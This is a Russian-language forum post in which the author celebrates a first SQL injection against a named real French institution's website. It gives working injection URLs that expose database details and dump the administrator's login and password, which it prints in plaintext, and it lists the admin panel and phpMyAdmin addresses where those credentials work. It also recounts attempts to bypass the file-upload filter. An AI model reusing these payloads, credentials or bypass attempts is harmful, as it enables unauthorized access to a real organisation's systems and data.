Поздравьте меня - моя первая самостоятельная скуля))

Французики.

http://www.isep.fr/histelcon/public/page.php?nump=-16+union+select+concat_ws(0x3a,database(),user(),v ersion())/*

histel histel@localhost 5.0.32-Debian_7etch6-log

http://www.isep.fr/histelcon/public/page.php?nump=-16+union+select+concat_ws(0x3a,login,pass)+from+hi stel.users+limit+0,1/*

admin:2008histel логин и пасс от админки
http://www.isep.fr/histelcon/admin/

они же подходят и к phpmyadmin - http://www.isep.fr/phpmyadmin

Увы, на этом всё обрывается, файловых привилегий нет, а админка весьма скудная в средствах. Есть только простенькая форма аплоада http://www.isep.fr/histelcon//admin/envoyer_fichier.php, но как я не бился, заставить принимать файлы с расширениями, отличными от pdf, doc и ppt , не удалось.. нулевой байт не проходит и прочие фишки...
Причем при аплоаде проверка идет только по расширению, не по типу файлов...